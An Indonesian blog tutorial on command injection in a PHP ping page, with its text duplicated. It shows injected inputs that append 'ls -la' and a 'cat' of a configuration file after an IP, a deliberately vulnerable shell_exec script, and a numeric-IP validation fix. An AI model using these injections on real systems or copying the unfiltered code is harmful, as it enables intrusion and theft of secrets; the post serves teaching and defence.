Command Execution Vulnerability
selamat siang semuanya, kali ini saya akan mencoba mengupas tuntas
tentang Command Execution Vulnerability, talk less do more
Command Execution Vulnerability ???
atau menurut saya
kasus
ada sebuah web applikasi yang memberikan fasilitas untuk melakukan perintah PING untuk pengunjungnya, di sini kita tau kalo ping itu merupakan perintah system, hanya saja di jalankan melalui web aplikasi dengan memanfaatkan perintah exec(), system(), passthru() dll, atau sejenisnnya.
telihat biasa bukan ?? , oke mari kita coba memberikan alamat ip yang akan kita ping tanpa embel embel di belakangnya
maka web tersebut akan meberikan hasil seperti halnya kita melakukan ping melalui command line,
dan jika kita melakukan perintah pada command line console, hasilnya juga akan sama seperti yang di tampilkan oleh web tersebut
nah sudah terbukti kan jika web tersebut menggunakan perintah-perintah seperti yang saya sebutkan di atas, sekarang kita akan mencoba bagaimana Command Execution itu bisa terjadi, untuk mengujinya kita akan memberikan perintah baru setelah kita memasukan IP pada halaman web tersebut, kita akan mencoba perintah untuk melihat listing direktori
hasil perintah pertama sama dengan ping 192.168.1.103
hasil perintah kedua ls -la
perintah perintah yang bisa attacker lakukan sangat banyak untuk dapat mengexploitasi sang korban, mulai dari membaca file, melihat isi direktori bahkan menambahkan user yang berkases Admin atau root pada subuah system, misalnya attacker akan membaca sebuah file yang sifatnya penting, makan si attacker cukup memberikan perintah
maka hasilnya
bagaimana itu bisa terjadi ????
mari kita lihat source codenya
bagaimana mengatasinya ???
tidak ada jawaban pasti untuk yang satu ini, tidak ada yang benar-benar aman di dunia maya, kita hanya bisa mempersulit attacker untuk melakukannya, mari kita mempersulit attacker untuk melakukan aksinya dengan memberikan validasi terhadap inputan IP dan memastikan itu sebuah angka (berupa numeric)
jika kita memberikan perintah perintah seperti di atas makan system akan menganggap inputan kita tidak valid
sekian dulu dari saya, semoga bisa menambah pengetahuan kita bersama
Command Execution Vulnerability ???
Code:
In computer security, arbitrary
code execution is used to describe an attacker's ability to execute any
commands of the attacker's choice on a target machine or in a target
process. It is commonly used in arbitrary code execution vulnerability
to describe a software bug that gives an attacker a way to execute
arbitrary code
Code:
Command Execution adalah sebuah
serangan attacker yang memanfaatkan perintah-perintah system seperti
exec(),passthru(),shell_exec(),system() yang terdapat dala sebuah
aplikasi berbasi web untuk menjalankan perintah system yang ada dalam
sebuah system operasi,
kasus
ada sebuah web applikasi yang memberikan fasilitas untuk melakukan perintah PING untuk pengunjungnya, di sini kita tau kalo ping itu merupakan perintah system, hanya saja di jalankan melalui web aplikasi dengan memanfaatkan perintah exec(), system(), passthru() dll, atau sejenisnnya.
telihat biasa bukan ?? , oke mari kita coba memberikan alamat ip yang akan kita ping tanpa embel embel di belakangnya
Code:
192.168.1.103
maka web tersebut akan meberikan hasil seperti halnya kita melakukan ping melalui command line,
dan jika kita melakukan perintah pada command line console, hasilnya juga akan sama seperti yang di tampilkan oleh web tersebut
nah sudah terbukti kan jika web tersebut menggunakan perintah-perintah seperti yang saya sebutkan di atas, sekarang kita akan mencoba bagaimana Command Execution itu bisa terjadi, untuk mengujinya kita akan memberikan perintah baru setelah kita memasukan IP pada halaman web tersebut, kita akan mencoba perintah untuk melihat listing direktori
Code:
192.168.1.103 ; ls -la
-----------------------------
kita menambahkan ; setelah IP dan di ikuti oleh perintah ls -la ini
maksudnya agar system mengeksekusi dua perintah sekaligus, maka halaman
web itu akan menampilkan hasil perintah ping dan ls -la di halamanya
hasil perintah pertama sama dengan ping 192.168.1.103
Code:
PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data.
64 bytes from 192.168.1.103: icmp_seq=1 ttl=128 time=0.921 ms
64 bytes from 192.168.1.103: icmp_seq=2 ttl=128 time=0.489 ms
64 bytes from 192.168.1.103: icmp_seq=3 ttl=128 time=0.488 ms
--- 192.168.1.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.488/0.632/0.921/0.205 ms
total 12
Code:
drwxr-xr-x 2 wenkhairu wenkhairu 4096 2010-12-09 02:22 .
drwxrwxrwx 20 nobody root 4096 2010-12-09 02:22 ..
-rw-r--r-- 1 wenkhairu wenkhairu 579 2010-12-09 02:27 index.php
perintah perintah yang bisa attacker lakukan sangat banyak untuk dapat mengexploitasi sang korban, mulai dari membaca file, melihat isi direktori bahkan menambahkan user yang berkases Admin atau root pada subuah system, misalnya attacker akan membaca sebuah file yang sifatnya penting, makan si attacker cukup memberikan perintah
Code:
192.168.1.103 ; cat /opt/lampp/htdocs/config.inc
maka hasilnya
bagaimana itu bisa terjadi ????
mari kita lihat source codenya
Code:
<?php
/*
P O C Command Execution Vulnerability
*/
?>
<form method="post" action="index.php">
<h2>Masukan IP yang akan di Ping</h2><br />
<input type="text" name="ip">
<input type="submit" value="Ping" name="submit">
</form>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ]; // Tanpa Filter yang artinya kita bisa memasukan apa saja tanpa halangan
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target ); // menggunakan shel_exec()
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target ); // menggunakan shell_exec()
echo '<pre>'.$cmd.'</pre>';
}
}
?>
bagaimana mengatasinya ???
tidak ada jawaban pasti untuk yang satu ini, tidak ada yang benar-benar aman di dunia maya, kita hanya bisa mempersulit attacker untuk melakukannya, mari kita mempersulit attacker untuk melakukan aksinya dengan memberikan validasi terhadap inputan IP dan memastikan itu sebuah angka (berupa numeric)
Code:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split IP menjadi 4 bagian
$octet = explode(".", $target);
// Periksa setiap IP itu berupa angka integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1]))
&& (is_numeric($octet[2])) && (is_numeric($octet[3]))
&& (sizeof($octet) == 4) ) {
// Jika semua IP berupa integer gabungkan lagi IPnya
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: IP Address Tidak Valid</pre>';
}
}
?>
jika kita memberikan perintah perintah seperti di atas makan system akan menganggap inputan kita tidak valid
sekian dulu dari saya, semoga bisa menambah pengetahuan kita bersama
0 comments:
Post a Comment